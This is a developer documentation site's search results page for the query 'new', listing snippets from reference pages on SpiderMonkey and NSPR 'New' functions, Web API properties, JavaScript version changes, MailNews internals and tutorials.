Search completed in 1.59 seconds.
5573 results for "new":
Your results are loading. Please wait...
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
one of the web's oldest news sites, wired news draws between 20 and 25 million page views every month.
... on october 11, 2002, wired launched a brand-new site design that uses validating xhtml for its structure and a small collection of css files for its layout.
... the new design clearly shows what some experts have been saying: that standards-based design can be visually compelling and preserve the interface conventions we've come to expect from web pages.
...And 22 more matches
JS_NewObject
creates a new javascript object.
... syntax // added in spidermonkey 45 jsobject * js_newobject(jscontext *cx, const jsclass *clasp); bool js_newobjectwithgivenproto(jscontext *cx, const jsclass *clasp, js::handle<jsobject*> proto); // obsolete since spidermonkey 38 jsobject * js_newobject(jscontext *cx, const jsclass *clasp, js::handle<jsobject*> proto, js::handle<jsobject*> parent); jsobject * js_newobjectwithgivenproto(jscontext *cx, const jsclass *clasp, js::handle<jsobject*> proto, js::handle<jsobject*> parent); // added in spidermonkey 1.8 name type description cx jscontext * the context in which to create the new object.
... clasp const jsclass * pointer to the class to use for the new object.
...And 20 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
creating a new to-do form we now have an app that displays a list of to-do items.
...let's create a new component that will allow us to add a new to-do item.
... in your components folder, create a new file called todoform.vue.
...And 18 more matches
new operator - JavaScript
the new operator lets developers create an instance of a user-defined object type or of one of the built-in object types that has a constructor function.
... syntax new constructor[([arguments])] parameters constructor a class or function that specifies the type of the object instance.
... description the new keyword does the following things: creates a blank, plain javascript object; links (sets the constructor of) this object to another object; passes the newly created object from step 1 as the this context; returns this if the function doesn't return an object.
...And 13 more matches
JS_NewArrayObject
create a new array object.
... syntax jsobject * js_newarrayobject(jscontext *cx, const js::handlevaluearray& contents); // added in spidermonkey 31 jsobject * js_newarrayobject(jscontext *cx, size_t length); // added in spidermonkey 31 jsobject * js_newarrayobject(jscontext *cx, int length, jsval *vector); // obsolete since jsapi 30 name type description cx jscontext * the context in which to create the new array.
...added in spidermonkey 31 length size_t or int the length of the new array.
...And 11 more matches
new.target - JavaScript
the new.target pseudo-property lets you detect whether a function or constructor was called using the new operator.
... in constructors and functions invoked using the new operator, new.target returns a reference to the constructor or function.
... in normal function calls, new.target is undefined.
...And 10 more matches
JS_NewFunction
create a new javascript function that is implemented in c/c++ as a jsnative.
... syntax // added in spidermonkey 45 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, const char *name); // obsolete since jsapi 44 jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsid> id); // obsolete since jsapi 39 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, const char *name); jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, js::handle<jsid> id); // added in spidermonkey 17 name type description cx jscontext * the context in which to creat...
...e the new function.
...And 9 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
the two-value syntax as you can see from the above explanation, the display property has gained considerable new powers.
... single value new value block block flow flow-root block flow-root inline inline flow inline-block inline flow-root flex block flex inline-flex inline flex grid block grid inline-grid inline grid display: block flow-root and display: inline flow-root in terms of how these new values help to clarify css layou...
...this value's only purpose is to create a new block formatting context (bfc).
...And 9 more matches
Adding a new event
this draft document covers how to add a new event to the mozilla (firefox) source code.
... miscevents.h if the new event class isn't proper any header files above, you should use this.
... virtual widgetevent* duplicate() const moz_override this method should create a new instance with copying its members except widget.
...And 8 more matches
JSObjectOps.newObjectMap
the jsobjectops.newobjectmap callback is called whenever a new object is created.
... it creates a jsobjectmap that completely controls the new object's behavior.
... syntax typedef jsobjectmap * (*jsnewobjectmapop)(jscontext *cx, jsrefcount nrefs, jsobjectops *ops, jsclass *clasp, jsobject *obj); name type description cx jscontext * pointer to the js context in which the new object is being created.
...And 8 more matches
JS_NewGlobalObject
this article covers features introduced in spidermonkey 17 create a new javascript object for use as a global object.
... syntax jsobject * js_newglobalobject(jscontext *cx, const jsclass *clasp, jsprincipals *principals, js::onnewglobalhookoption hookoption, const js::compartmentoptions &options = js::compartmentoptions()); name type description cx jscontext * the context in which to create the new global object.
... clasp jsclass * the class to use for the new global object.
...And 8 more matches
MailNews fakeserver
fakeserver is a testing server that implements a generic text-based protocol common to all major mailnews protocols (pop, imap, smtp, and nntp) designed for use in automated tests.
... basic structure fakeserver is situated entirely under mailnews/test/fakeserver/.
...the server itself is found in mailnews/test/fakeserver/maild.js and was largely based off of the httpd fakeserver from network code.
...And 8 more matches
JS_NewDateObject
this article covers features introduced in spidermonkey 1.8.5 creates a new date object instance for the given time and date.
... syntax jsobject * js_newdateobject(jscontext *cx, int year, int mon, int mday, int hour, int min, int sec); name type description cx jscontext * the context in which to create the new date object.
... year int the year to set the new object to.
...And 7 more matches
JS_NewStringCopyN
create a new js string.
... syntax jsstring * js_newstringcopyn(jscontext *cx, const char *s, size_t n); jsstring * js_newucstringcopyn(jscontext *cx, const char16_t *s, size_t n); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... n size_t number of characters to copy from s into the new string.
...And 7 more matches
The new nsString class implementation (1999) - Archive of obsolete content
this document is intended to briefly describe the new nsstring class architecture, and discuss the implications on memory management, optimizations, internationalization and usage patterns.
...the deficiencies of the current implementation are: class based -- making it unsuitable for cross-dll usage due to fragility little intrinsic i18n support few efficiencies, notably a lack of support for narrow (1-byte) character strings no support for external memory management policy lack of xpcom interface notable features of the new nsstrimpl implementation are: intrinsic support for 1 and 2 byte character widths provides automatic conversion between strings with different character sizes inviolate base structure eliminates class fragility problem; safe across dll boundaries offers c-style function api to manipulate nsstrimpl offers simple memory allocator api for specialized memory policy shares binary format with bs...
...tring coming soon: a new xpcom (nsistring) interface non-templatized; this is a requirement for gecko very efficient buffer manipulation architecture the fundamental data type in the new architecture is struct nsstrimpl, given below: struct nsstrimpl { print32 mlength; void* mbuffer; print32 mcapacity; char mcharsize; char munused; // and now for the nsstrimpl api...
...And 6 more matches
JS_NewCompartmentAndGlobalObject
this article covers features introduced in spidermonkey 1.8.1 js_newcompartmentandglobalobject has been removed in bug 755186.
... use js_newglobalobject instead.
... create a new global object in a new compartment.
...And 6 more matches
MailNews
mailnews stands for "mail and newsgroups".
... mailnews is the back end of the messaging parts of seamonkey and thunderbird.
... it provides a number of functions and capabilities, including: communications protocols - smtp, pop3, imap, nntp message management, including search and filtering message composition address book the mailnews code lives in the mailnews/ directory of comm-central.
...And 5 more matches
JS_NewDependentString
create a new javascript string containing a range of characters from an existing string.
... syntax jsstring * js_newdependentstring(jscontext *cx, js::handlestring str, size_t start, size_t length); name type description cx jscontext * the context in which to create the new string.
... str js::handlestring the string containing the characters for the new string.
...And 5 more matches
JS_NewExternalString
create a new jsstring whose characters are stored in external memory.
... syntax jsstring * js_newexternalstring(jscontext *cx, const char16_t *chars, size_t length, const jsstringfinalizer *fin); jsstring * js_newexternalstringwithclosure(jscontext *cx, jschar *chars, size_t length, int type, void *closure); // obsolete since jsapi 13 name type description cx jscontext * the context in which to create the new string.
...the array must be populated with the desired character data before js_newexternalstring is called, and the array must remain in memory, with its contents unchanged, for as long as the javascript engine needs to hold on to it.
...And 5 more matches
Mailnews and Mail code review requirements
this document describes the process for reviewing patches to the mozilla/mailnews and mozilla/mail directories.
... thunderbird and seamonkey are the primary users of the code in mozilla/mailnews.
...(a fair amount of this code is forked from code in the mailnews/ directory).
...And 5 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten.
...take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following command: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the command are as follows: ...
... first of all, save the following c code in a file called hello2.c, in a new directory: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } search for the file shell_minimal.html in your emsdk repo.
...And 5 more matches
Developing New Mozilla Features - Archive of obsolete content
tips for contributing new features to mozilla.
...our portability requirements may be new to even seasoned developers.
... develop relationships with existing developers in the area of your feature if you want to add a big new feature to mail, spend some time helping the existing mail developers.
...And 4 more matches
Adding a new CSS property
this page describes how to add a new css property to the style system.
... this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the command "./mach mochitest -f plain layout/style/".
... if you're adding a preference-controlled property to a non-preference-controlled shorthand, you need to call appendvalue for that property if and only if its preference is enabled (and see next point) if you need to check a preference in custom parsing code (e.g., because you're adding a new property to a shorthand, but only conditionally on that property's preference), call nscssprops::isenabled(), which is faster than calling into the preferences code for further understanding of how the parsing code works, you should read and understand the code in nscssparser.cpp.
...And 4 more matches
Bootstrapping a new locale
(see also https://developer.mozilla.org/en/create_a_new_localization) the documentation here is no longer being maintained and is inaccurate.
...to learn how to bootstrap a new locale for mozilla projects, please see those documents.
...1.9.x/editor/locales/ ab-cd/editor cp -r mozilla-1.9.x/extensions/reporter/locales/chrome ab-cd/extensions cp -r mozilla-1.9.x/netwerk/locales/ ab-cd/netwerk cp -r mozilla-1.9.x/other-licenses/branding/firefox/locales/ ab-cd/other-licenses cp -r mozilla-1.9.x/security/manager/locales/ ab-cd/security cp -r mozilla-1.9.x/toolkit/locales/ ab-cd/toolkit getting started change your directory to the new working directory so you are in the ~/[your working directory]/[ab-cd]/ path and can start localizing.
...And 4 more matches
PL_NewHashTable
create a new hash table.
... syntax #include <plhash.h> plhashtable *pl_newhashtable( pruint32 numbuckets, plhashfunction keyhash, plhashcomparator keycompare, plhashcomparator valuecompare, const plhashallocops *allocops, void *allocpriv ); parameters the function has the following parameters: numbuckets the number of buckets in the hash table.
... allocops a pointer to a plhashallocops structure that must exist throughout the lifetime of the new hash table.
...And 4 more matches
PR_NewTCPSocket
creates a new ipv4 tcp socket.
... syntax #include <prio.h> prfiledesc* pr_newtcpsocket(void); returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened ipv4 tcp socket.
... if the creation of a new tcp socket failed, null.
...And 4 more matches
JSNewResolveOp
jsnewresolveop is the type of the jsclass.resolve callback when the jsclass_new_resolve bit is set in the jsclass.flags field.
... syntax typedef bool (* jsnewresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandleobject objp); name type description cx jscontext * pointer to the js context in which the property access is taking place.
...this hook instead of jsresolveop is called via the jsclass.resolve member if jsclass_new_resolve is set in jsclass.flags.
...And 4 more matches
JS_ClearNewbornRoots
clear a context's newborn roots, which temporarily protect newly allocated values from garbage collection.
... syntax void js_clearnewbornroots(jscontext *cx); name type description cx jscontext * the context to clear.
... description the last gc thing of each type (object, string, double, external string types) created on a given context is kept alive until another thing of the same type is created, using a newborn root in the context.
...And 4 more matches
JS_NewContext
create a new jscontext.
... syntax jscontext * js_newcontext(jsruntime *rt, size_t stackchunksize); name type description rt jsruntime * parent runtime for the new context.
... description js_newcontext creates a new jscontext in the runtime rt.
...And 4 more matches
JS_NewDouble
use js_newnumbervalue instead.
... syntax jsdouble * js_newdouble(jscontext *cx, jsdouble d); name type description cx jscontext * the context in which to create the new number.
... description js_newdouble allocates a copy of the number d on the javascript garbage collection heap.
...And 4 more matches
JS_NewRuntime
syntax jsruntime * js_newruntime(uint32_t maxbytes, uint32_t maxnurserybytes = js::defaultnurserybytes, jsruntime *parentruntime = nullptr); jsruntime * js_newruntime(uint32_t maxbytes, jsusehelperthreads usehelperthreads, jsruntime *parentruntime = nullptr); // deprecated since jsapi 32 name type description maxbytes uint32 maximum number of allocated bytes after which garbage collection is run.
...added in spidermonkey 31 description js_newruntime initializes the javascript runtime environment.
... call js_newruntime before making any other api calls except js_init.
...And 4 more matches
JS_NewUCString
note: js_newstring() was removed in spidermonkey 1.8.5.
... use js_newstringcopyn and js_newucstringcopyn instead.
... syntax jsstring * js_newucstring(jscontext *cx, char16_t *chars, size_t length); jsstring * js_newstring(jscontext *cx, char *buf, size_t length); // obsolete since jsapi 1.8.5 name type description cx jscontext * the context in which to create the new string.
...And 4 more matches
New Skin Notes - Archive of obsolete content
devmo has a new skin that is ready for testing.
...--maian 21:08, 1 sep 2005 (pdt) in the new mw1.5 skin (not the one currently available here) there's class "wrong" and class "wrong-inline".
...--nickolay 09:19, 25 aug 2005 (pdt) (moving this to a new item) on the contrary, the list of categories current page belongs to, should be near the footer (see mdc:policies_and_guidelines page) (dria: fix catlinks style) the arrows that appear if you select "enhanced recent changes" in your preferences have an ugly border around them.
...And 3 more matches
NPN NewStream - Archive of obsolete content
summary requests the creation of a new data stream produced by the plug-in and consumed by the browser.
... syntax #include <npapi.h> nperror npn_newstream(npp instance, npmimetype type, const char* target, npstream** stream); parameters the function has the following parameters: instance pointer to current plug-in instance.
... description npn_newstream creates a new stream of data produced by the plug-in and consumed by the browser.
...And 3 more matches
PR_NewUDPSocket
creates a new udp socket.
... syntax #include <prio.h> prfiledesc* pr_newudpsocket(void); returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened udp socket.
... if the creation of a new udp socket failed, null.
...And 3 more matches
JSNewEnumerateOp
syntax typedef bool (* jsnewenumerateop)(jscontext *cx, js::handleobject obj, js::autoidvector &properties); // added in spidermonkeysidebar 38 typedef bool (* jsnewenumerateop)(jscontext *cx, js::handleobject obj, jsiterateop enum_op, js::mutablehandlevalue statep, js::mutablehandleid idp); // obsolete since jsapi 37 name type description cx jscontext * the context in which the enumeration is taking place.
... description from spidermonkey 38, jsnewenumerateop is the type of objectops::enumerate.
... before jsapi 37, jsnewenumerateop was the type of jsclass.enumerate.
...And 3 more matches
JS_New
this article covers features introduced in spidermonkey 1.8 create an object as though by using the new keyword and a javascript function.
... syntax jsobject * js_new(jscontext *cx, js::handleobject ctor, const js::handlevaluearray& args); // added in jsapi 32 jsobject * js_new(jscontext *cx, jsobject *ctor, unsigned argc, jsval *argv); // obsolete since jsapi 32 name type description cx jscontext * the context in which to create the new object.
...obsolete since jsapi 32 description js_new creates a new object as though by using the new operator, as described in ecma 262-3 §11.2.2.
...And 3 more matches
JS_NewObjectForConstructor
convenience function to create a new object exactly as a constructor function would.
... syntax jsobject * js_newobjectforconstructor(jscontext *cx, const jsclass *clasp, const js::callargs& args); // added in jsapi 32 jsobject * js_newobjectforconstructor(jscontext *cx, jsclass *clasp, const jsval *vp); // added in jsapi 14, obsolete since jsapi 32 jsobject * js_newobjectforconstructor(jscontext *cx, const jsval *vp); // obsolete since jsapi 14 name type description cx jscontext * the context in which to create the new object.
...added in spidermonkey 38 description js_newobjectforconstructor creates a new object exactly as the given constructor would if invoked with new.
...And 3 more matches
JS_NewScriptObject
syntax jsobject * js_newscriptobject(jscontext *cx, jsscript *script); name type description cx jscontext * the context in which to create the new script object.
... script jsscript * the compiled script for which to create a new script object.
... description js_newscriptobject returns the script object associated with the given jsscript.
...And 3 more matches
JS_NewStringCopyZ
create a new javascript string based on a null-terminated c string.
... syntax jsstring * js_newstringcopyz(jscontext *cx, const char *s); jsstring * js_newucstringcopyz(jscontext *cx, const char16_t *s); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... description js_newstringcopyz allocates space for a new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string.
...And 3 more matches
NS_NewLocalFile
« xpcom api reference summary the ns_newlocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.
... #include "nsxpcom.h" #include "nsilocalfile.h" nsresult ns_newlocalfile( const nsastring& apath, prbool afollowlinks, nsilocalfile** aresult ); parameters apath [in] a utf-16 string object that specifies an absolute filesystem path.
... aresult [out] a reference to the newly created nsilocalfile instance.
...And 3 more matches
NS_NewNativeLocalFile
« xpcom api reference summary the ns_newnativelocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.
... #include "nsxpcom.h" #include "nsilocalfile.h" nsresult ns_newnativelocalfile( const nsacstring& apath, prbool afollowlinks, nsilocalfile** aresult ); parameters apath [in] a string object that specifies an absolute filesystem path.
... aresult [out] a reference to the newly created nsilocalfile instance.
...And 3 more matches
MailNews Filters
mailnews filters consist of a set of search terms, and a set of filter actions.
... filter execution is done by evaluating the search terms using the core mailnews/base/search code, and then applying the filter hits when the search terms match.
... for new incoming messages, the protocol specific object that handles new messages calls nsimsgfilterlist::applyfilterstohdr and passes itself in as nsimsgfilterhitnotify interface to handle filter hits.
...And 3 more matches
NPP_New - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary creates a new instance of a plug-in.
... syntax #include <npapi.h> nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved); parameters the function has the following parameters: plugintype pointer to the mime type for new plug-in instance.
... description npp_new creates a new instance of a plug-in.
...And 2 more matches
NPP_NewStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary notifies a plug-in instance of a new data stream.
... syntax #include <npapi.h> nperror npp_newstream(npp instance, npmimetype type, npstream* stream, npbool seekable, uint16* stype); parameters the function has the following parameters: instance pointer to current plug-in instance.
... stream pointer to new stream.
...And 2 more matches
New in JavaScript 1.3 - Archive of obsolete content
the most significant change in javascript 1.3 was compliance with ecma-262 and unicode by removing inconsistencies between javascript 1.2 and the new ecma standard (which was published in june 1997).
...--> new features in javascript 1.3 new globals nan infinity undefined new methods isfinite() function.prototype.call() function.prototype.apply() date.utc() date.prototype.getfullyear() date.prototype.setfullyear() date.prototype.getmilliseconds() date.prototype.setmilliseconds() date.prototype.getutcfullyear() date.prototype.getutcmonth() date.prototype.getutcdate() date.prototype.
...getutchours() date.prototype.getutcminutes() date.prototype.getutcseconds() date.prototype.getutcmilliseconds() date.prototype.toutcstring() date.prototype.setutcfullyear() date.prototype.setutcmonth() date.prototype.setutcdate() date.prototype.setutchours() date.prototype.setutcminutes() date.prototype.setutcseconds() date.prototype.setutcmilliseconds() other new features strict equality operators unicode support a javascript console was introduced.
...And 2 more matches
New in JavaScript 1.7 - Archive of obsolete content
javascript 1.7 is a language update introducing several new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment.
... using javascript 1.7 in order to use some of the new features of javascript 1.7, you need to specify that you wish to use javascript 1.7.
... in html or xul code, use: <script type="application/javascript;version=1.7"></script> when using the javascript shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names.
...And 2 more matches
Creating a New Protocol
this is a quick-start on details of how to add a new ipdl protocol to the build.
...you should know what protocol will manage the new protocol and what lifetime issues that creates.
...building the new protocol to build the new protocol declaration and generate headers, make in ipc/ipdl: make -c objdir/ipc/ipdl if there are any protocol-level errors, the ipdl compiler will print the relevant error messages and stop.
...And 2 more matches
MailNews automated testing
automated testing is an increasingly significant and important part of mailnews development.
... this page and its sub-pages describe (and link to) the available test mechanisms within mailnews, and provide supporting information for developers and testers.
... functional testing xpcshell-tests and make check these are core test harnesses to which mailnews adds its own tests.
...And 2 more matches
PR NewProcessAttr
syntax #include <prlink.h> prprocessattr *pr_newprocessattr(void); parameters the function has no parameters.
... returns a pointer to the new process attributes structure.
... description this function creates a new prprocessattr structure that specifies the attributes of a new process, then returns a pointer to the structure.
...And 2 more matches
JS::NewFunctionFromSpec
create a new function based on the given jsfunctionspec.
... syntax jsfunction* js::newfunctionfromspec(jscontext* cx, const jsfunctionspec* fs, handleid id); name type description cx jscontext * the context in which to define functions.
... description js::newfunctionfromspec creates a new function based on the given jsfunctionspec, *fs.
...And 2 more matches
JS_NewNumberValue
syntax jsbool js_newnumbervalue(jscontext *cx, jsdouble d, jsval *rval); name type description cx jscontext * the context in which to create the new number.
... description js_newnumbervalue converts a c floating-point number of type jsdouble to jsval, the type of javascript values.
...otherwise, a new floating-point jsval is created.
...And 2 more matches
JS_NewPlainObject
this article covers features introduced in spidermonkey 38 creates a new plain javascript object.
... syntax jsobject * js_newplainobject(jscontext *cx); name type description cx jscontext * the context in which to create the new object.
... description js_newplainobject creates a new plain object, like new object(), with object.prototype as [[prototype]].
...And 2 more matches
JS_NewRegExpObject
create a new regexp object.
... syntax jsobject * js_newregexpobject(jscontext *cx, js::handleobject obj, const char *bytes, size_t length, unsigned flags); jsobject * js_newucregexpobject(jscontext *cx, js::handleobject obj, const char16_t *chars, size_t length, unsigned flags); jsobject * js_newregexpobjectnostatics(jscontext *cx, char *bytes, size_t length, unsigned flags); jsobject * js_newucregexpobjectnostatics(jscontext *cx, char16_t *chars, size_t length, unsigned flags); name type description cx jscontext * the context in which to create the new object.
... y description js_newregexpobject and js_newucregexpobject create a new regexp instance.
...And 2 more matches
IDBVersionChangeEvent.newVersion - Web APIs
the newversion read-only property of the idbversionchangeevent interface returns the new version number of the database.
... syntax var newversion = idbversionchangeevent.newversion value a 64-bit integer.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'newversion' in that specification.
...And 2 more matches
WebGLRenderingContext.lineWidth() - Web APIs
the webglrenderingcontext.linewidth() method of the webgl api sets the line width of rasterized lines.
... syntax void gl.linewidth(width); parameters width a glfloat specifying the width of rasterized lines.
... examples setting the line width: gl.linewidth(5); getting the line width: gl.getparameter(gl.line_width); getting the range of available widths.
...And 2 more matches
New in JavaScript 1.8.5 - Archive of obsolete content
new features in javascript 1.8.5 new functions function description object.create() creates a new object with the specified prototype object and properties.
... function.prototype.bind() creates a new function that, when called, itself calls this function in the context provided (with a given sequence of arguments).
... bug 429507 new ecmascript5 features get and set operators now allows the identifier to be numeric or a string.
... new objects object description old proxy api offers support for creating object and function proxies that enable meta-programming in javascript.
New in JavaScript 1.8 - Archive of obsolete content
using javascript 1.8 in order to use some of the new features of javascript 1.8 in html, use: <script type="application/javascript;version=1.8"> ...
... the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 or higher because existing code might use those keywords as variable or function names.
... the features that do not introduce new keywords (such as generator expressions) can be used without specifying the javascript version.
... new features in javascript 1.8 expression closures.
PR_NewLogModule
creates a new log module.
... syntax #include <prlog.h> prlogmoduleinfo* pr_newlogmodule(const char *name); parameters the function has this parameter: name the name to be assigned to the prlogmoduleinfo structure.
... description this function allocates and initializes a new prlogmoduleinfo structure with the specified name.
... if the environment variable nspr_log_modules contains the specified name, then the associated level value from the variable is associated with the new prlogmoduleinfo structure.
PR_NewThreadPrivateIndex
returns a new index for a per-thread private data table and optionally associates a destructor with the data that will be assigned to the index.
... syntax #include <prthread.h> prstatus pr_newthreadprivateindex( pruintn *newindex, prthreadprivatedtor destructor); parameters pr_newthreadprivateindex has the following parameters: newindex on output, an index that is valid for all threads in the process.
... description if pr_newthreadprivateindex is successful, every thread in the same process is capable of associating private data with the new index.
...if a destructor function is registered with a new index, it will be called at one of two times, as long as the private data is not null: when replacement private data is set with pr_setthreadprivate when a thread exits the index maintains independent data values for each binding thread.
JS_NewDoubleValue
create a floating-point jsval syntax jsbool js_newdoublevalue(jscontext *cx, jsdouble d, jsval *rval); name type description cx jscontext * the context in which to create the new number.
... description js_newdoublevalue creates a floating-point jsval.
...if it is, js_newdoublevalue creates a bad jsval that might behave as desired in some cases but not others.
...on success, js_newdoublevalue stores a numeric jsval in *rval and returns js_true.
MailNews Protocols
those protocols all have the following, defined in the corresponding protocol subdirectory of mailnews (i.e., mailnews/imap, mailnews/local (for pop3), mailnews/news): an incoming server class, which implements nsimsgincomingserver and inherits from mailnews/base/util/nsmsgincomingserver, i.e.., nspop3incomingserver, nsimapincomingserver, nsnntpincomingserver.
...nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object.
...these implement nsimsgmailnewsurl, inherit from base/util/nsmsgmailnewsurl, and implement their own protocol-specific interface (nsiimapurl, nsinntpurl, nsipop3url).
...these implement nsimsgprotocol, inherit from nsmsgprotocol, and implement their own protocol-specific interface (nsiimapprotocol, nsipop3protocol, nsinntpprotocol) in addition, in mailnews/db/msgdb/public, we have protocol-specific msg db classes (and in the case of news, a nsinewsdatabase interface), so that we can use polymorphism when msg db operations need to be specialized for different kinds of folders.
CanvasRenderingContext2D.lineWidth - Web APIs
the canvasrenderingcontext2d.linewidth property of the canvas 2d api sets the thickness of lines.
... syntax ctx.linewidth = value; options value a number specifying the line width, in coordinate space units.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 15; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(130, 130); ctx.rect(40, 40, 70, 70); ctx.stroke(); result more examples for more examples and explanation about this property, see applying styles and color in the canvas tutorial.
... specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linewidth' in that specification.
New in JavaScript 1.2 - Archive of obsolete content
--> new features in javascript 1.2 new objects you can create objects using literal notation (inspired by dictionary literal syntax from python 1.x).
... arguments new properties function.arity new methods array.prototype.concat() array.prototype.slice() string.prototype.charcodeat() string.prototype.concat() string.fromcharcode() string.prototype.match() string.prototype.replace() string.prototype.search() string.prototype.slice() string.prototype.substr() new operators delete equality operators (== and !=) new statements labeled statements switch do...while import export other new features regular expressions signed scripts changed functionality in javascript 1.2 you can now nest functions within functions.
... the break and continue statements can now be used with the new labeled statement.
New in JavaScript - Archive of obsolete content
with new ecma standards, javascript language features are now often mentioned with their initial definition in ecma-262 editions such as ecmascript 2015.
... includes ecmascript for xml (e4x), new array methods plus string and array generics.
... includes many new features for ecma-262 edition 5 compliance.
PR_NewCondVar
creates a new condition variable.
... syntax #include <prcvar.h> prcondvar* pr_newcondvar(prlock *lock); parameter pr_newcondvar has one parameter: lock the identity of the mutex that protects the monitored data, including this condition variable.
... returns the function returns one of the following values: if successful, a pointer to the new condition variable object.
PR_NewLock
creates a new lock.
... syntax #include <prlock.h> prlock* pr_newlock(void); returns the function returns one of the following values: if successful, a pointer to the new lock object.
... description pr_newlock creates a new opaque lock.
PR_NewMonitor
creates a new monitor object.
... syntax #include <prmon.h> prmonitor* pr_newmonitor(void); returns the function returns one of the following values: if successful, a pointer to a prmonitor object.
... description a newly created monitor has an entry count of zero.
JS_NewDateObjectMsec
this article covers features introduced in spidermonkey 1.8.5 creates a new date object instance, configured to represent the date and time indicated by the specified time in milliseconds since the unix epoch.
... syntax jsobject * js_newdateobjectmsec(jscontext *cx, double msec); name type description cx jscontext * the context.
...see also mxr id search for js_newdateobjectmsec js_newdateobject js_objectisdate bug 625870 ...
HashChangeEvent.newURL - Web APIs
the newurl read-only property of the hashchangeevent interface returns the new url to which the window is navigating.
... syntax let neweventurl = event.newurl; value a domstring.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.newurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: newurl' in that specification.
newlines - Archive of obsolete content
« xul reference home newlines type: one of the values below how the text box handles pastes with newlines in them.
... possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text with the newlines replaced with commas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed ...
New in JavaScript 1.6 - Archive of obsolete content
several new features were introduced: e4x, several new array methods, and array and string generics.
... new features in javascript 1.6 support for ecmascript for xml (e4x) for creating and processing xml content within javascript has been added.
Using your new knowledge - Learn web development
objective: to have a play with some css and test your new-found knowledge.
... getting started with css how css is structured how css works using your new knowledge ...
New NSS Samples
new nss sample code this collection of sample code demonstrates how nss can be used for cryptographic operations, certificate handling, ssl, etc.
... these new examples are a work in progress.
ReadableStreamBYOBRequest.respondWithNewView() - Web APIs
the respondwithnewview() method of the readablestreambyobrequest interface xxx syntax readablestreambyobrequestinstance.respondwithnewview(view); parameters view xxx return value void.
... specifications specification status comment streamsthe definition of 'respondwithnewview()' in that specification.
New Security Model for Web Services - Archive of obsolete content
adjustments as this new model is applied to soap, and potentially document.load or xml-request, it may be desirable to eliminate the same source security bypass, because it is not clear that this is always secure.
onnewtab - Archive of obsolete content
« xul reference home onnewtab not in firefox type: script code this script will be called when the new tab button is clicked.
tooltiptextnew - Archive of obsolete content
« xul reference home tooltiptextnew not in firefox type: string used to set the text which appears in the tooltip when the user moves the mouse over the new button in the tab row.
New in JavaScript 1.1 - Archive of obsolete content
--> new features in javascript 1.1 new objects array boolean function number new properties number.max_value number.min_value nan number.negative_infinity number.positive_infinity new methods array.prototype.join() array.prototype.reverse() array.prototype.sort() array.prototype.split() new operators typeof void other new features <noscript> liveconnect.
New in JavaScript 1.4 - Archive of obsolete content
new features in javascript 1.4 exception handling (throw and try...catch) in operator instanceof operator changed functionality in javascript 1.4 eval() changes (cannot be called indirectly and no longer a method of object) arguments not a property of functions deprecated function.arity in favor of function.length changes to liveconnect ...
New in JavaScript 1.5 - Archive of obsolete content
new features in javascript 1.5 number.prototype.toexponential() number.prototype.tofixed() number.prototype.toprecision() const is now a reserved word.
New in JavaScript 1.8.1 - Archive of obsolete content
new features in javascript 1.8.1 object.getprototypeof() support for native json string.prototype.trim() string.prototype.trimleft() string.prototype.trimright() changed functionality in javascript 1.8.1 implicit setting of properties in object and array initializers no longer execute setters in javascript.
Adding a new Telemetry probe
adding new telemetry probes is now documented in the mozilla source tree docs.
PR_NEW
syntax #include <prmem.h> _type * pr_new(_struct); parameter _struct the name of a type.
PR_NEWZAP
syntax #include <prmem.h> _type * pr_newzap(_struct); parameter _struct the name of a type.
PR_NewPollableEvent
syntax nspr_api(prfiledesc *) pr_newpollableevent( void); parameter none.
JS_NewPropertyIterator
syntax jsobject * js_newpropertyiterator(jscontext *cx, js::handle<jsobject*> obj); name type description cx jscontext * the js context in which to enumerate properties.
Tips and Tricks from the newsgroups
